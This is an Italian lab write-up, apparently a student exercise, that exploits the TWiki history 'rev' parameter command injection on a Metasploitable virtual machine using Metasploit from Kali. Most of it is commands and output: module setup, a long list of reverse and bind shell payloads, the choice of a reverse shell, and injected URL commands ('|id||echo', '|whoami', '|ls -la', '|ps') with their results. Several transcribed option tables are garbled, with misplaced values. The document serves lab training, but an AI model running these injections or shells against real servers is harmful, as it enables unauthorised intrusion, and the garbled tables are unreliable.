

Exploit Twiki

Utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

Sulla porta 80 TCP della nostra Metasploitable è attivo un Web Server apache che ospita la piattaforma TWiki, una sorta di Wikipedia distribuita gratuitamente con licenza libera (GNU). La piattaforma consente la creazione di pagine e contenuti multimediali.

Twiki > Main > WebHome

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | [Go](#) } [Main](#) | [TWiki](#) | [Know](#) | [Sandbox](#)

WelcomeGuest: Twiki is a flexible, powerful, secure, yet simple web-based collaboration platform. Use Twiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. You can edit any Twiki page.

Powered by TWiki The TWiki™ home is at <http://TWiki.org/>

Twiki Site Map		Use to...
Twiki.Main	Welcome to Twiki... Users , Groups , Offices - tour this expandable virtual workspace. (Changes Search Print)	...get a first-hand feel for Twiki possibilities.
Twiki.TWiki	Welcome , Registration , and other StartingPoints : Twiki history & Wiki style; All the docs... (Changes Search Print)	...discover Twiki details, and how to start your own site.
Twiki.Know	Knowledge base set-up - Add TwikiForms for organizing and classifying content. (Changes Search Print)	...try free-form collaboration, with structure!
Twiki.Sandbox	Sandbox test area with all features enabled. (Changes Search Print)	...experiment in an unrestricted hands-on web.

You can use color coding by web for identification and reference. This table is updated automatically based on WebPreferences settings of the individual webs. Contact webmaster@your-company if you need a separate collaboration web for your team.

Twiki.Main Web:

- [TwikiUsers](#): List of users of this Twiki web.
- [TwikiGroups](#): List of groups.
- [OfficeLocations](#): Corporate offices.
- [Search](#) (More options in [WebSearch](#))
- [WebChanges](#): Display recent changes to the Main web
- [WebIndex](#): List all Main topics in alphabetical order. See also the faster [WebTopicList](#)
- [WebNotify](#): Subscribe to an e-mail alert sent when something changes in the Main web
- [WebStatistics](#): View access statistics of the Main web
- [WebPreferences](#): Preferences of the Main web ([TwikiPreferences](#) has site-wide preferences)

Twiki.TWiki Web:

- [WelcomeGuest](#): Look here first to get you rolling on Twiki.
- [TWikiSite](#): Explains what a Twiki site is.
- [TwikiRegistration](#): Create your account in order to edit topics.
- Documentation:
 - [TwikiFAQ](#) has a list of frequently asked questions.
 - [TwikiDocumentation](#) is the implementation documentation of Twiki.

Dopo aver aperto da kali la console di metasploit andiamo eseguire il comando search twiki.

```
msf6 > search twiki

Matching Modules
=====
#  Name
--  -
0  exploit/unix/webapp/moinmoin_twikidraw 2012-12-30 manual Yes MoinMoin twikidraw Action Traversal File Upload
1  exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes TWiki Debugableplugins Remote Code Execution
2  exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Parameter Command Execution
3  exploit/unix/webapp/twiki_maketext 2012-12-15 excellent Yes TWiki MAKETEXT Remote Command Execution
4  exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes TWiki Search Function Arbitrary Command Execution
```

Andiamo a scegliere l'exploit che ci interessa per sfruttare a pieno la vulnerabilità.

```
msf6 > use exploit/unix/webapp/twiki_history
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

#  Name  Current Setting  Required  Description
--  -
0  Proxies  faster WebTopic yes  A proxy chain of format type:host:port[,type:host:port][ ... ]
1  RHOSTS  yes  The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
2  RPORT  80  The target port (TCP)
3  SSL  false  Negotiate SSL/TLS for outgoing connections
4  URI  /twiki/bin/ideproxy  TWiki bin directory path
5  VHOST  no  HTTP server virtual host
```

A questo punto settiamo l'ip della macchina metasploitable da attaccare (192.168.1.40).

```
msf6 exploit(unix/webapp/twiki_history) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  ----      -
  Proxies    192.168.1.40     yes       A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  URI        /twiki/bin       yes       TWiki bin directory path
  VHOST      HTTP              no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target: 0 (site-wide preferences)
```

Una volta configurato l'exploit, dobbiamo scegliere il payload. Possiamo controllare la lista di tutti i payload disponibili per l'exploit che stiamo utilizzando eseguendo il comando «show payloads»

```
msf6 exploit(unix/webapp/twiki_history) > show payloads

Compatible Payloads

#  Name      Disclosure Date  Rank  Check  Description
--  -
0  payload/cmd/unix/adduser  normal  No  Add user with useradd
1  payload/cmd/unix/bind_awk  normal  No  Unix Command Shell, Bind TCP (via AWK)
2  payload/cmd/unix/bind_busybox_telnetd  normal  No  Unix Command Shell, Bind TCP (via BusyBox telnetd)
3  payload/cmd/unix/bind_inetd  normal  No  Unix Command Shell, Bind TCP (inetd)
4  payload/cmd/unix/bind_jjs  normal  No  Unix Command Shell, Bind TCP (via jjs)
5  payload/cmd/unix/bind_lua  normal  No  Unix Command Shell, Bind TCP (via Lua)
6  payload/cmd/unix/bind_netcat  normal  No  Unix Command Shell, Bind TCP (via netcat)
7  payload/cmd/unix/bind_netcat_gaping  normal  No  Unix Command Shell, Bind TCP (via netcat -e)
8  payload/cmd/unix/bind_netcat_gaping_ipv6  normal  No  Unix Command Shell, Bind TCP (via netcat -e) IPv6
9  payload/cmd/unix/bind_perl  normal  No  Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6  normal  No  Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r  normal  No  Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby  normal  No  Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6  normal  No  Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_sctp  normal  No  Unix Command Shell, Bind SCTP (via socat)
15 payload/cmd/unix/bind_socat_udp  normal  No  Unix Command Shell, Bind UDP (via socat)
16 payload/cmd/unix/bind_stub  normal  No  Unix Command Shell, Bind TCP (stub)
17 payload/cmd/unix/bind_zsh  normal  No  Unix Command Shell, Bind TCP (via Zsh)
18 payload/cmd/unix/generic  normal  No  Unix Command, Generic Command Execution
19 payload/cmd/unix/pingback_bind  normal  No  Unix Command Shell, Pingback Bind TCP (via netcat)
20 payload/cmd/unix/pingback_reverse  normal  No  Unix Command Shell, Pingback Reverse TCP (via netcat)
21 payload/cmd/unix/python/meterpreter/bind_tcp  normal  No  Python Exec, Python Meterpreter, Python Bind TCP Stager
22 payload/cmd/unix/python/meterpreter/bind_tcp_uuid  normal  No  Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID
23 payload/cmd/unix/python/meterpreter/reverse_http  normal  No  Python Exec, Python Meterpreter, Python Reverse HTTP Stager
24 payload/cmd/unix/python/meterpreter/reverse_https  normal  No  Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp  normal  No  Python Exec, Python Meterpreter, Python Reverse TCP Stager
26 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl  normal  No  Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
27 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid  normal  No  Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID
28 payload/cmd/unix/python/meterpreter/bind_tcp  normal  No  Python Exec, Python Meterpreter Shell, Bind TCP Inline
29 payload/cmd/unix/python/meterpreter_reverse_http  normal  No  Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
30 payload/cmd/unix/python/meterpreter_reverse_https  normal  No  Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
31 payload/cmd/unix/python/meterpreter_reverse_tcp  normal  No  Python Exec, Python Meterpreter Shell, Reverse TCP Inline
32 payload/cmd/unix/python/pingback_bind_tcp  normal  No  Python Exec, Python Pingback, Bind TCP (via python)
33 payload/cmd/unix/python/pingback_reverse_tcp  normal  No  Python Exec, Python Pingback, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_bind_tcp  normal  No  Python Exec, Command Shell, Bind TCP (via python)
35 payload/cmd/unix/python/shell_reverse_sctp  normal  No  Python Exec, Command Shell, Reverse SCTP (via python)
36 payload/cmd/unix/python/shell_reverse_tcp  normal  No  Python Exec, Command Shell, Reverse TCP (via python)
```

In questo caso useremo il payload con il comando “set payload cmd/unix/reverse”

```
msf6 exploit(unix/webapp/twiki_history) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.1.40    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |



Payload options (cmd/unix/reverse):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.25    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      | Web |
|----|-----------|-----|
| 0  | Automatic |     |


```

Avviamo l'attacco con exploit e andiamo a testare il tutto su Twiki.



Twiki > Main > TWikiUsers (r1.2 |id||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Topic TWikiUsers . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2 |id||echo - 01 Jan 1970 - 00:00 GMT -

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|whoami||echo%20

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec



Twiki > Main > TWikiUsers (r1.2 |whoami||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

www-data

Topic TWikiUsers . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2 |whoami||echo - 01 Jan 1970 - 00:00 GMT -

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|ls -la||echo%20

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec



Twiki > Main > TWikiUsers (r1.2 |ls -la||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

total 232 drwxr-xr-x 2 www-data www-data 4096 Feb 1 2003 . drwxr-xr-x 7 www-data www-data 4096 Apr 16 2010 .. -rw-r--r- 1 www-data www-data 1598 Jun 1 2002 .htaccess.txt -rw-r-xr-x 1 www-data www-data 4986 Jan 4 2003 attach -rw-r-xr-x 1 www-data www-data 3734 Jan 4 2003 changes -rw-r-xr-x 1 www-data www-data 9362 Jan 4 2003 edit -rw-r-xr-x 1 www-data www-data 1878 Jan 4 2003 geturl -rw-r-xr-x 1 www-data www-data 4587 Jan 4 2003 installpasswd -rw-r-xr-x 1 www-data www-data 7231 Jan 6 2003 mailnotify -rw-r-xr-x 1 www-data www-data 8228 Jan 4 2003 manage -rw-r-xr-x 1 www-data www-data 2445 Jan 4 2003 oops -rw-r-xr-x 1 www-data www-data 6936 Jan 4 2003 passwd -rw-r-xr-x 1 www-data www-data 5820 Jan 4 2003 preview -rw-r-xr-x 1 www-data www-data 9657 Feb 1 2003 rdiff -rw-r-xr-x 1 www-data www-data 10584 Jan 4 2003 register -rw-r-xr-x 1 www-data www-data 14746 Jan 5 2003 rename -rw-r-xr-x 1 www-data www-data 4800 Jan 4 2003 save -rw-r-xr-x 1 www-data www-data 4729 Jan 4 2003 search -rw-r--r- 1 www-data www-data 1415 Feb 1 2003 settlib.cfg -rw-r-xr-x 1 www-data www-data 19266 Feb 1 2003 statistics -rw-r-xr-x 1 www-data www-data 30626 Jan 4 2003 testenv -rw-r-xr-x 1 www-data www-data 14313 Jan 30 2003 upload -rw-r-xr-x 1 www-data www-data 11674 Jan 30 2003 view -rw-r-xr-x 1 www-data www-data 2944 Jan 5 2003 viewfile

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|ps||echo%20

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec



Twiki > Main > TWikiUsers (r1.2 |ps||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

PID TTY TIME CMD 4529 ? 00:00:00 apache2 4530 ? 00:00:00 apache2 4534 ? 00:00:00 apache2 4536 ? 00:00:00 apache2 4538 ? 00:00:00 apache2 4721 ? 00:00:00 apache2 4728 ? 00:00:00 apache2 5040 ? 00:00:00 sleep 5050 ? 00:00:00 sleep 5146 ? 00:00:00 view 5148 ? 00:00:00 sh 5149 ? 00:00:00 co 5150 ? 00:00:00 ps



[TWiki](#) > [Main](#) > **TWikiUsers** (r1.2 |psw||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

-ko /var/www/twiki/data/Main/TWikiUsers.txt

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [≥](#) | [r1.15](#) | [≥](#) | [r1.14](#) | [More](#) }

Revision r1.2 |psw||echo - 01 Jan 1970 - 00:00 GMT -

Siamo quindi riusciti ad ottenere dati alcune informazioni sensibili.

Leonardo Margheri